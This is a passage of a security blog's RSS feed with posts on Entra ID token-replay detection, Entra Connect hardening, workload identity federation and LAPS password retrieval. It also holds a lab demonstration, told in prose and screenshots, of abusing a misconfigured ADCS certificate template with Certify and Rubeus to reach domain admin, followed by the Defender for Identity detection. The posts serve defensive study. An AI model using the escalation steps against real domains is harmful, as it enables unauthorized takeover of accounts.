src="https://cdn-images-1.medium.com/max/1024/1*jgsiHTvbLShEkrlIi11JaA.png" /><figcaption>Analytics rule alert enhancement</figcaption></figure><p>With that we have everything to create a playbook to disable the affected workload identity:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9k-UnyXWJx5vNbA-Dkmndw.png" /><figcaption>Playbook / automation to disable the workload identity where the access token was replayed</figcaption></figure><p>You can find the playbook code here: <a href="https://github.com/nicolonsky/ITDR/blob/main/Playbooks/Entra-DisableServicePrincipal/LA-DisableServicePrincipal.json">ITDR/Playbooks/Entra-DisableServicePrincipal/LA-DisableServicePrincipal.json at main · nicolonsky/ITDR (github.com)</a></p><p>Make sure, that the managed identity of the logic app has assigned <em>Application.ReadWrite.All</em> permissions to disable the service principal. With that we can now run our response action in form of a playbook against the service principal for which the token was replayed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UbhN5x9ih47yCMS5-c2usg.png" /><figcaption>Running the playbook on the alert</figcaption></figure><p>After running the playbook, the service principal gets disabled in Entra ID:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xnKyV6Bd46NofsTvzbTOHw.png" /><figcaption>The service principal got disabled by the playbook</figcaption></figure><h3>What about managed identities?!</h3><p>When checking the <em>AADManagedIdentitySignInLogs </em>we will recognize that the sign-ins will not expose any IP or location information. Otherwise we could leverage the same detection capabilities as for ‘regular’ service principals or app registrations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3GQMeh86ZcYzb0bvplnkw.png" /><figcaption>Managed Identities do not expose IP or location information within the AADManagedIdentitySignInLogs table</figcaption></figure><p>I assume that we do not have this information as managed identities are not calling the Entra ID authentication endpoints ‘from the outside’ of Entra ID for access tokens, as managed identities expose an access token directly by calling an internal metadata endpoint such as:</p><pre>http://localhost:80/metadata/identity/oauth2/token</pre><p>Unfortunately, the same approach for token replay works with managed identities and we cannot determine or identify replay activities. An even bigger drawback was the fact, that in my case the access tokens for managed identities used by an automation account had a validity period of almost 24 hours.</p><h3>Closing notes</h3><p>The Microsoft Graph Activity Logs provide valuable detection capabilities for Entra ID tenants. As Microsoft Graph is the de-facto standard it is a welcome addition, although we have other API’s still in place/use where we currently do not have visibility.</p><p>The Azure Activity logs do not contain read or list actions and are therefore not able to detect access token replay activities that solely enumerate or discover resources. That’s a clear advantage for the new Microsoft Graph Activity logs.</p><p>Personally I’d hoped that Microsoft leverages those signals I used for the detection as part of the Entra workload identities risk score but none of the activities did trigger service principal risk detections:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A605K0mHS8SCWUAz1ifVpg.png" /><figcaption>The access token replay attacks did not trigger any workload identity risk detections</figcaption></figure><p>So 🤞(finger’s crossed) that these blind spots, especially around managed identities will be improved in the future.</p><h4>Ingestion Delay</h4><p>During testing and simulation of the access token replay I had sometimes very high delays when it came to the ingestion time after the replay took place, this is also noticeable by calculating the standard deviation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-YbPyEhH8b6zvWZYBhZrw.png" /><figcaption>Ingestion delay of the Microsoft Graph Activity Logs</figcaption></figure><h4>More content</h4><p>As I’m very interested in topics around Identity Threat Detection and Response (ITDR) I started a little GitHub project where I will add further resources for similar posts and artefacts in the future.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JkeR5mZEQOsh_WR_sps9lQ.png" /></figure><p>Also make sure to checkout Fabian Bader’s <a href="https://cloudbrothers.info/detect-threats-microsoft-graph-logs-part-1/">Detect threats using Microsoft Graph Logs — Part 1 — Cloudbrothers</a> post where he uses the activity logs to identity common reconnaissance tools.</p><h4>References</h4><ol><li><a href="https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-continuous-access-evaluation-workload#scope-of-support">Continuous access evaluation for workload identities in Microsoft Entra ID | Microsoft Learn</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22e7619189af" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Entra Connect Hardening]]></title>
            <link>https://nicolasuter.medium.com/entra-connect-hardening-61ed8ebca094?source=rss-d1b46b39d2be------2</link>
            <guid isPermaLink="false">https://medium.com/p/61ed8ebca094</guid>
            <category><![CDATA[hardening]]></category>
            <category><![CDATA[microsoft-entra-id]]></category>
            <category><![CDATA[azure-ad-connect]]></category>
            <category><![CDATA[identity-management]]></category>
            <dc:creator><![CDATA[Nicola]]></dc:creator>
            <pubDate>Sun, 24 Sep 2023 20:13:58 GMT</pubDate>
            <atom:updated>2023-09-25T17:23:12.029Z</atom:updated>
            <content:encoded><![CDATA[<h3>Entra Connect Account Hardening</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IRhgc7TazWwmkcYu0wSKoQ.png" /></figure><p>Microsoft Entra Connect Sync (aka Azure AD Connect) allows establishing hybrid identity scenarios by interconnecting on-premises Active Directory and Entra ID (aka Azure AD) and leveraging synchronisation features in both directions. As you might already know, this brings potential for abuse of the assigned permissions to the involved service accounts and permissions of this service.</p><p>On the internet are already some posts with subset of this information but I wanted to provide an actionable post with individual measures to implement. Of course should we do MFA for all admins and AD tiering but some of those steps involve more complex measures to implement and I will try to provide some individual building blocks you can use to harden the configuration of your Entra Connect service accounts.</p><h3>Understanding the scope</h3><p>To understand the scope of hardening we need to have an overview of the inner workings of that service. Entra Connect uses three different kind of service accounts for the different systems:</p><ul><li>Entra: For the connected Entra tenant, per each Entra Connect installation a cloud only account is created by the wizard: <em>Sync_EIDC02_bba3d8efb72a@nicoladev.onmicrosoft.com</em></li><li>Active Directory: The active directory account is used to connect a forest and allows both reading and depending on the leveraged synchronisation options also modifying the objects for password reset or group write-back scenarios</li><li>Synchronisation Service: Under this principal, the actual Entra Connect service is running on the server</li></ul><p>Each kind of service account has various interesting privileges that can be abused by attackers. While the security of the server running Entra connect is also an important aspect I want to focus more on the leveraged user accounts as they are subject to multiple well-known attack scenarios.</p><h3>Hardening measures for the Entra account</h3><p>The following measures are scoped to Entra ID features and capabilities.</p><h4>Conditional Access Policy</h4><p>Although we need to exclude the Entra Connect cloud account from conditional access policies requiring MFA or a specific device state, we can still leverage Conditional Access to only allow sign-ins from defined locations. With that in mind, we can restrict the sign-in only from our local server breakout IP defined as a trusted or named location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*syREOQz98c8F80DU7qKVIA.png" /><figcaption>Creating a Conditional Access Policy to limit the sign-in for the Entra Connect Cloud Account</figcaption></figure><h4>Tracking AuditLogs</h4><p>The AuditLogs table of Entra ID contain all the activities that involve modifications of directory objects. This means we can both audit, track and potentially alert on changes targeting the Entra Connect cloud accounts:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7bd0ac3a91000a7e8f8cc44d15967e83/href">https://medium.com/media/7bd0ac3a91000a7e8f8cc44d15967e83/href</a></iframe><p>Additionally we can also retrieve events that originated from the Entra cloud accounts:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f9621371210ebfc3ba59d68813d17313/href">https://medium.com/media/f9621371210ebfc3ba59d68813d17313/href</a></iframe><h3>Hardening measures for the AD account</h3><p>For the on-premises account used to connect to the AD forest, we can apply the following hardening measures.</p><h4>Permission Scope</h4><p>When you connect an AD forest and let the synchronisation wizard create the account, the permissions are scoped by default to the forest level, including all child domains. This is usually way too permissive as only a subset of AD accounts needs to (or should) be synchronised.</p><p>Especially from privileged accounts, we definitely want to remove the permissions of the Entra connect AD account to replicate changes or perform password resets.</p><p>We can check and remove the assigned permissions on the domain level:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*DY5sCGrmFnqbuDH8iYw4nQ.png" /></figure><p>With the PowerShell module that ships with each Entra connect installation, we can re-add the proper permissions based on an organisational unit level, e.g. if you have a parent OU that contains all the standard user accounts:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4dbba07a99b07de5ae55e452ae76435f/href">https://medium.com/media/4dbba07a99b07de5ae55e452ae76435f/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*GXpTuIy-uC7LunOgT0m0cA.png" /><figcaption>The ADSyncConfig allows selective permission assignment</figcaption></figure><h4>Protected Users</h4><p>The AD built-in “Protected Users” group includes a couple of nice features that help us to secure the Entra ID Connect AD account, as the following features will be unavailable:</p><ul><li>Authenticate with NTLM authentication.</li><li>Use DES or RC4 encryption types in Kerberos pre-authentication.</li><li>Be delegated with unconstrained or constrained delegation.</li><li>Renew the Kerberos TGTs beyond the initial four-hour lifetime.</li></ul><p>As this account is only used to authenticate against AD and does not run an actual service or has delegations it can be added to the protected users group without breaking anything:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*_GZwaUFZU62F8MTe7hpaNg.png" /></figure><p>If your account was created prior Windows Server 2012 times it might be a good idea to recreate the account (with granular permissions) or at least reset the password to ensure it has an AES key available.</p><h4>Microsoft Defender for Identity</h4><p>Microsoft Defender for Identity can help to detect abnormal activity in your Active Directory. Especially the detections for DCSync attacks can help if someone would attempt to impersonate the account from another system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RlYT5o3hu0lrmn6P1OTHBg.png" /><figcaption>Usual activity on devices for the Entra AD account</figcaption></figure><h3>Hardening measures for the Synchronisation Service</h3><h4>Service Account</h4><p>When using the express settings, by default a virtual service account is created, with the password never expires flag. A group managed service account introduces additional security as AD rotates the password. Dirteam provides an excellent article for that: <a href="https://dirteam.com/sander/2017/12/28/using-azure-ad-connect-with-a-gmsa/">Using Azure AD Connect with a gMSA — The things that are better left unspoken (dirteam.com)</a>.</p><h4>Hard- and Soft-Matching features in Entra</h4><p>Identities in Entra ID can be matched by Entra Connect to match existing accounts in the following ways:</p><ul><li><strong>Hard Matching</strong> matches objects on the source anchor attribute of the object in AD to the ImmutableID attribute of the object in Azure AD</li><li><strong>Soft Matching</strong> matches objects, based on the <strong>userPrincipalName</strong> attribute and the primary email address (denoted with <strong>SMTP:</strong> in the <strong>proxyAddresses</strong> attribute).</li></ul><p>While these features might come in handy for migrations they impose a serious attack surface for account takeover scenarios and should be disabled during regular Entra Connect operations.</p><p>To retrieve the state for both hard and soft matching, you can run the following Microsoft Graph commands:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/14e5b50e5c2a72d5ba438b766e2d1bc5/href">https://medium.com/media/14e5b50e5c2a72d5ba438b766e2d1bc5/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WHReT_BJ8NhRqQBQrLvaRQ.png" /><figcaption>Review the current configuration of matching features to join objects from on premises and the cloud</figcaption></figure><p>To disable both Hard- and Soft-Matching you can run the following Microsoft Graph PowerShell command:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/29690f6b55eaedf78db4cd7fb7b3dd68/href">https://medium.com/media/29690f6b55eaedf78db4cd7fb7b3dd68/href</a></iframe><h3>Conclusion</h3><p>Microsoft Entra Connect sync is a lucrative target for attackers to perform identity takeover in on-premises AD on Entra ID. I hope this article showed you some steps to plan and implement hardening if not already done.</p><p>By limiting the default permissions and matching features you can reduce the attack surface a lot with minimal effort and side-effects and can combine these measures with other aspects described.</p><h3>References</h3><ul><li><a href="https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group#domain-controller-protections-for-protected-users">Protected Users Security Group | Microsoft Learn</a></li><li><a href="https://www.hub.trimarcsecurity.com/post/securing-microsoft-azure-ad-connect">Securing Microsoft Azure AD Connect (trimarcsecurity.com)</a></li><li><a href="https://learn.microsoft.com/en-us/azure/active-directory/architecture/service-accounts-user-on-premises">Secure user-based service accounts in Active Directory — Microsoft Entra | Microsoft Learn</a></li><li><a href="https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/">Obtaining Domain Admin from Azure AD by abusing Cloud Kerberos Trust — dirkjanm.io</a></li><li><a href="https://www.tevora.com/threat-blog/targeting-msol-accounts-to-compromise-internal-networks/">Targeting MSOL Accounts to Compromise Internal Networks Tevora</a></li><li><a href="https://dirteam.com/sander/2022/01/27/todo-disable-soft-matching-in-azure-ad-connect/">TODO: Disable Soft Matching in Azure AD Connect — The things that are better left unspoken (dirteam.com)</a></li><li><a href="https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#directory-synchronization-accounts">Azure AD built-in roles — Microsoft Entra | Microsoft Learn</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61ed8ebca094" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why you should use Entra Workload Identity Federation]]></title>
            <link>https://nicolasuter.medium.com/why-you-should-use-entra-workload-identity-federation-dfe8b6b626a1?source=rss-d1b46b39d2be------2</link>
            <guid isPermaLink="false">https://medium.com/p/dfe8b6b626a1</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[entra-id]]></category>
            <category><![CDATA[azure-ad]]></category>
            <category><![CDATA[workload-identity]]></category>
            <category><![CDATA[identity]]></category>
            <dc:creator><![CDATA[Nicola]]></dc:creator>
            <pubDate>Thu, 07 Sep 2023 21:09:55 GMT</pubDate>
            <atom:updated>2023-09-07T21:09:55.861Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vVqMZdP86WapBIOSrkZ3Dg.png" /></figure><p>Microsoft Entra Workload Identity Federation is a hidden gem when dealing with app registrations and service principals because it will significantly improve the security posture of your workload identities. While I already blogged about the more technical and implementation specific details in my <a href="https://nicolasuter.medium.com/github-action-with-azure-ad-workload-identity-federation-fb4e9d8bbf5c">GitHub Actions with Entra Workload Identity Federation</a> post, I want to highlight the benefits and scenarios where you can use Workload Identity Federation to access Entra ID protected resources.</p><h3>Quick recap on Workload Identities</h3><p>Should you read this post and wonder what a Workload Identity is, here a quick recap:</p><ul><li>A workload identity (can be either a managed identity or service principal) is <strong>used to access resources protected by Entra ID</strong> (Azure AD) from a service or automation</li><li>A <strong>service principal is an instance</strong> of an <strong>app registration</strong>. To leverage a service principal authentication with either a client secret, certificate, or federated credential is required.</li><li>A <strong>managed identity</strong> is a Microsoft managed identity of a resource such as a Logic App, Automation Account or VM. Microsoft manages the credentials of those managed identities. This allows for secure access as the credentials are not exposed to other services.</li></ul><p>Managed Identity is the recommended type for workload identities for workloads that live in the Microsoft Azure ecosystem. For services and automations outside of Azure, service principals (app registrations) are the only option. The usage and credential configuration is unfortunately not a simple process.</p><h3>Why should I use Workload Identity Federation?</h3><p>Credential exposure of workload identities can lead to serious compromise depending on the configured permissions.</p><p>As Salesforce [1] nicely concludes: “One of the most common breaches of data security comes from sensitive data stored in the code you develop”.</p><p>Credential exposure can occur in different ways. One of the simplest examples might be the following:</p><figure><img alt="App registration client secret sent via teams chat" src="https://cdn-images-1.medium.com/max/1024/1*eb9ZYwcpQ11L3rB42sg-9w.png" /><figcaption>Staged real-world example</figcaption></figure><p>Other examples are client secrets or certificates stored in plain text, optionally with wrong access control list configurations or including such things in version control or (accidentally) leaking this information.</p><p>Regularly we use the following client credentials on workload identities:</p><ul><li>Client Secret</li><li>Certificate</li></ul><p>Both credential types are subject to exposure, although a certificate provides additional security benefits when stored securely. Also for client secrets, the procedure can be improved by storing it in a secure location such as Azure Key Vault (the key vault could then also be used to exchange the information instead of Teams chat 🙃).</p><p>For both credential types, renewal is required as they have an expiration date. Furthermore, the creator of the credentials has potential knowledge of them which makes also rotation an important need.</p><h3>The better alternative — Workload Identity Federation</h3><p>Workload identity federation is better in the above mentioned aspects, because it eliminates long-lived credentials or secrets and the exchange of such information.</p><p>What does “Workload identity Federation” now mean? Workload identity Federation is a new type of authentication that can be used to acquire the identity of a workload identity.</p><p>Federation (in a simplified manner) means, that an external Identity Provider (IdP) issues a token, that is valid for the authentication. A trust to the external IdP is configured, directly on the app registration.</p><p>Instead of a fixed set of credentials (compared to client secret or a certificate) the federation serves as a trust anchor and credential exposure is dramatically reduced as only short-lived tokens are exchanged.</p><p>Open ID Connect is used as authentication protocol and tokens are signed by the external IdP.</p><p>An example for a GitLab pipeline accessing Azure resource such as an app server for a deployment might look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*22mnVbbVQPc4xhm_qmv2Zw.png" /><figcaption>Overview on Workload Identity Federation</figcaption></figure><ol><li>The admin configures the app registration and registers the information for the workload identity federation in Entra ID</li><li>During pipeline execution, the pipeline will acquire an access token (JWT) from the GitLab IdP (your GitLab server)</li><li>The pipeline performs authentication agains Entra ID. Entra ID verifies the issuer and other information of the token with the configured federation options on the workload identity</li><li>If the token matches with the configuration, Entra ID issues an access token. The pipeline successfully acquired the identity of the workload identity</li><li>The pipeline can now access protected resources such as the Azure app service</li></ol><h3>When can I use Workload Identity Federation?</h3><p>Which scenarios support “Workload identity Federation”?</p><ul><li>Workloads running on any Kubernetes cluster (Azure Kubernetes Service (AKS), Amazon Web Services EKS, Google Kubernetes Engine (GKE), or on-premises)</li><li>GitHub Actions (CI / CD Pipelines) [2]</li><li>GitLab (CI / CD Pipelines) [3]</li><li>Workloads / VMs Google Cloud</li><li>Workloads / VMs running in Amazon Web Services (AWS)</li><li>Workloads supporting SPIFFE and SPIRE [4]: that’s basically an open standard for authentication scenarios between cloud services</li></ul><h4>Recommended Actions</h4><p>Some pro tipps to round up this post:</p><ul><li>Use managed identities whenever possible</li><li>When using app registrations make sure to use Federated credentials or a certificate (client secrets as a last resort)</li><li>Review existing app registrations and check whether you could switch to workload identity federation</li><li>Consider the security of the different credential types and include this as a quality aspect when developing or integration new applications</li></ul><p>/ Cheers and happy workload identity federation!</p><h3>References and further reading</h3><ol><li><a href="https://trailhead.salesforce.com/content/learn/modules/credential-security/prevent-credential-exposure-in-code">Prevent Credential Exposure in Code Unit | Salesforce Trailhead</a></li><li><a href="https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure">Configuring OpenID Connect in Azure — GitHub Docs</a></li><li><a href="https://docs.gitlab.com/ee/ci/cloud_services/azure/">Configure OpenID Connect in Azure to retrieve temporary credentials | GitLab</a></li><li><a href="https://spiffe.io/">SPIFFE — Secure Production Identity Framework for Everyone</a></li></ol><ul><li><a href="https://learn.microsoft.com/en-us/azure/active-directory/workload-identities/workload-identity-federation">Workload identity federation — Microsoft Entra | Microsoft Learn</a></li><li><a href="https://blog.identitydigest.com/azuread-federate-spiffe/">Azure AD workload identity federation with SPIFFE and SPIRE | Identity in the cloud (identitydigest.com)</a></li><li><a href="https://learn.microsoft.com/en-us/azure/active-directory/workload-identities/workload-identity-federation-considerations">Workload identity federation for app considerations — Microsoft Entra | Microsoft Learn</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dfe8b6b626a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Retrieving Windows LAPS Azure AD Passwords with PowerShell]]></title>
            <link>https://nicolasuter.medium.com/retrieving-windows-laps-azure-ad-passwords-with-powershell-acd24e9ba58a?source=rss-d1b46b39d2be------2</link>
            <guid isPermaLink="false">https://medium.com/p/acd24e9ba58a</guid>
            <category><![CDATA[endpoint-security]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[pla]]></category>
            <dc:creator><![CDATA[Nicola]]></dc:creator>
            <pubDate>Wed, 10 May 2023 06:13:15 GMT</pubDate>
            <atom:updated>2023-05-10T06:13:15.811Z</atom:updated>
            <content:encoded><![CDATA[<p>Did you know that for the new Windows LAPS Azure AD is also maintaining the password history? The built in PowerShell commandlet relies on the Microsoft Graph PowerShell SDK and within this post I want to show you how to work with the Get-LapsAADPassword cmdlet.</p><p>Kudos to <a href="https://medium.com/u/b214ce59ec84">Niklas Tinner</a> as he brought this to my attention while working together.</p><h4>Where is this command originating from?</h4><p>The Get-LapsAADPassword cmdlet is part of the LAPS PowerShell module that was baked into the Windows Operating system with the April 2023 quality updates.</p><p>The module is maintained as part of the Operating System and builds the Interface to interact with Windows LAPS locally on a device. The module binaries reside within C:\Windows\system32\WindowsPowerShell\v1.0\Modules\LAPS and consist of DLLs and PowerShell files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qcPzW4MPs441N6xsGkF2sA.png" /><figcaption>Windows LAPS PowerShell module binaries</figcaption></figure><h4>Let’s retrieve some passwords</h4><p>Before we can start retrieving passwords we need to make sure, that we have the appropriate <a href="https://github.com/microsoftgraph/msgraph-sdk-powershell">Microsoft Graph PowerShell SDK</a> module present.</p><p>We can easily check this with the following PowerShell command:</p><pre>Get-Module -Name Microsoft.Graph -ListAvailable</pre><p>If you do not retrieve any output, you need to install the module with local Administrator privileges with:</p><pre>Install-Module -Name Microsoft.Graph.Authentication</pre><p>Afterwards, we need to connect to Microsoft Graph (requesting an access token for the API) with the right OAuth 2.0 scopes to ensure we have access to the LAPS passwords stored within Azure AD. To do so, we can use the following command:</p><pre>Connect-MgGraph -Scopes &quot;DeviceLocalCredential.Read.All&quot; -ContextScope Process</pre><p>Afterwards we are asked to confirm the consent to the OAuth 2.0 scope (this requires the Azure AD application administrator role or might trigger an app consent flow):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*mLYZ9DRBtNLR9CyV_gTePA.png" /><figcaption>Consent request</figcaption></figure><p>To query the clear text passwords for a device, you can call the following commandlet:</p><pre>Get-LapsAADPassword -DeviceIds NT-699549436914 -IncludePasswords -AsPlainText</pre><p>The -DeviceIds parameter takes both device display names and Azure AD device Ids. But be careful when you have duplicate device names in your Azure AD tenant.</p><p>By adding the -IncludeHistory Parameter we also receive the password history for the specified device:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y6THIYe-lG15tWc-J_4tJQ.png" /><figcaption>Get-LapsAADPassword with the password history</figcaption></figure><h4>Summary</h4><p>Hoping that with this quick article you learn somethin new about Windows LAPS and the usage of Microsoft Graph PowerShell under the hood let’s close this article. Microsoft provies additional documentation for LAPS related commandlet within their <a href="https://learn.microsoft.com/en-us/powershell/module/laps/get-lapsaadpassword?view=windowsserver2022-ps">docs pages</a>.</p><p>Happy password (history) retrieval!</p><p>P.S.: If you haven’t read the following posts about LAPS you’re definitely missing out:</p><ul><li><a href="https://tech.nicolonsky.ch/Meeting-Windows-LAPS/">Let’s have a tête-à-tête with the new Windows LAPS for Azure AD joined devices | Nicola Suter (nicolonsky.ch)</a></li><li><a href="https://oceanleaf.ch/windows-laps-guide/">Windows LAPS: the comprehensive guide (oceanleaf.ch)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=acd24e9ba58a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Provoking Defender for Identity suspicious certificate usage alerts]]></title>
            <link>https://nicolasuter.medium.com/provoking-defender-for-identity-suspicious-certificate-usage-alerts-dd7ee0c4985b?source=rss-d1b46b39d2be------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd7ee0c4985b</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[defender-for-identity]]></category>
            <dc:creator><![CDATA[Nicola]]></dc:creator>
            <pubDate>Tue, 11 Apr 2023 18:00:47 GMT</pubDate>
            <atom:updated>2023-04-11T18:04:43.459Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cRQlf-i0Uh8n6GDK6r3tyg.png" /></figure><p>Microsoft Defender for Identity (MDI) has announced a new capability back in February to detect suspicious certificate usage for Kerberos authentication. It is already well-known, that Active Directory Certificate Services (ADCS) is a lucrative target for adversaries to achieve persistence in Active Directory as ADCS can be easily misconfigured resulting in an easy way to exploit those misconfigurations. In this post I want to show you how easy those misconfigurations can be abused and how and when such an attempt is detected by Microsoft Defender for Identity new detection capabilities for suspicious certificate usage.</p><h3>What makes a vulnerable environment</h3><p>To be vulnerable for the certificate abuse scenario I will demonstrate an environment needs to have the following conditions present:</p><ul><li>ADCS Enterprise Certification Authority (CA)</li><li>CA certificate must be present in NTAuth store (default behaviour when an enterprise ADCS CA is installed)</li><li>At least one domain controller needs to have a kerberos authentication certificate enrolled</li><li>At least one vulnerable certificate template that meets one of the following criteria&#39;s:<br>– “specify subject name in the request” flag enabled AND granting enroll permissions to low privileged principals like domain users or domain computers (or equivalent)<br>– grants modify permissions to low privileged principals like domain users or computers (or equivalent)</li></ul><p>The first three conditions are usually present in a standard Active Directory deployment and provide key functionality for other services. Certificate templates are also a standard thing, but there it really comes down to the (mis)configuration and hardening. Specterops documents those very well and provides tools to check for potential misconfigurations¹.</p><p>For this post I will use a duplicate of the standard computer certificate template with the following settings:</p><ul><li>Extended Key Usage: Client Authentication</li><li>Enrolee Supplies Subject Flag Enabled (Supply Subject Name in the request)</li><li>Domain users have enroll permissions</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oh4LWjy7TZIiedDbdGNKGg.png" /><figcaption>A copy of the default computer template that is vulnerable due to the Enrolle Supplies Subject Flag</figcaption></figure><h3>Weaponization</h3><p>To demonstrate the attack I use the following tools provided by Spectreops on GitHub:</p><ul><li><a href="https://github.com/GhostPack/Certify">GhostPack/Certify: Active Directory certificate abuse. (github.com)</a></li><li><a href="https://github.com/GhostPack/Rubeus">GhostPack/Rubeus: Trying to tame the three-headed dog. (github.com)</a></li></ul><p>Both tools need to be compiled with Visual Studio or can be downloaded from other sources in precompiled formats.</p><p>As adversary we might not know about the vulnerable certificate templates but because they reside within Active Directory and Authenticated Users have read permissions on all templates by default, we can easily enumerate the vulnerable template(s) with certifiy. For all subsequent steps I use a regular domain user account, that has local admin permissions on a Windows client:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rOB-UD1y0gN9cI7Vq8jIYA.png" /><figcaption>Using certify to discover vulnerable ADCS certificate templates</figcaption></figure><p>After we have found a vulnerable template, we can depending on the permissions either modify the template to set the ENROLEE_SUPPLIES_SUBJECT flag or directly profit if we have enrollment permissions on the template (that’s what I use for this demo).</p><p>Of course we want to go all in and request a certificate for the built-in <em>Administrator </em>account. We can do so by calling certify with the request option and specifying the subject alternate name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MBed0iOCDydIP41OyAZnMg.png" /><figcaption>Requesting a certificate with certify for the built-in Administrator domain account</figcaption></figure><p>The printed out RSA key pair can the be converted with openssl and exported as a PFX file. Afterwards, with the help of rubeus we can request a kerberos ticket granting ticket (TGT) for the built-in domain admin account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*bkVEDlQUIlPlYmC92qLIzA.png" /><figcaption>Requesting a Kerberos TGT with Rubeus for the built-in Administrator account of the domain</figcaption></figure><p>We can then also use this ticket with rubeus to perform actions with the newly gained entity:</p><ol><li>Importing the obtained kerberos ticket</li><li>Listing the available kerberos tickets</li><li>I truncated the output but this is the TGT for the Administrator account</li><li>Enumerating the c$ share of the domain controller</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*kjBV14KZVwwg93omCh2kfQ.png" /></figure><p>Pretty impressive how we elevated that fast from a regular domain user directly to a domain admin. But let’s see what Microsoft Defender for Identity observed during this attack.</p><h3>Hello from MDI 🚨</h3><p>After the Kerberos Ticket acquisition with Rubeus MDI fired up the awaited <em>Suspicious certificate usage over Kerberos protocol (PKINIT) alert! </em>After a short delay the alert got automatically correlated together with the client side events because Defender for Endpoint also noticed all the tools and actions being executed on the client (to allow the execution I enabled troubleshooting mode and disabled real time protection).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7uJwFoXYWeUN2wsCk2zaNw.png" /><figcaption>MDI Generated Alert: Suspicious certificate usage over Kerberos protocol (PKINIT)</figcaption></figure><p>Mentionable is also, that MDI includes the certificate based on the thumbprint within the alert details. This information can be used to search for the corresponding certificate request or directly revoking the certificate.</p><p>Important to understand is, that MDI detected the acquisition of the kerberos ticket, but not the previous steps.</p><h3>Can’t we detect this earlier?</h3><p>Of course it is nice that MDI now detects this behaviour but I could imagine that attackers might first only want to establish persistence and gain a certificate for a privileged account before they continue their attack and take advantage of the gained privileges. In this case MDI would not trigger the “Suspicious certificate usage” or other alerts until the certificate is being used.</p><p>When advanced auditing and event forwarding for ADCS enterprise CA is enabled (if not, you should definitely consider this!²), we can already detect issuance of certificates by looking into submitted and issued certificate requests:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A2vBkcmoySNqAm6pDcy2xw.png" /><figcaption>ADCS Advanced Auditing with Sentinel</figcaption></figure><p>Unfortunately we’re missing some key information when it comes to:</p><ul><li>Certificate Template Name or OID</li><li>Certificate Template Application Policies</li><li>Certificate Request Subject Alternate Name Extension</li></ul><p>Owen Shearing describes a potential solution³ by considering additional security events from domain controllers but these also rely on the event that the certificates will be used for authentication.</p><p>Fortunately there is an upcoming enforcement planned by Microsoft, to increase the difficulty for such attacks by using stricter certificate mapping.</p><h3>Upcoming Active Directory KDC Changes</h3><p>Microsoft started hardening of Kerberos Key Distribution Center when it comes to the certificate mapping to Active Directory users. In this demo we saw, that just because of the subject alternate name the certificate was mapped to the builtin Administrator account of the domain. Back in spring 2022 Microsoft announced multiple enforcement steps to increase the security of certificate mapping with KB5014754⁴. The next step takes place in April 2023 that 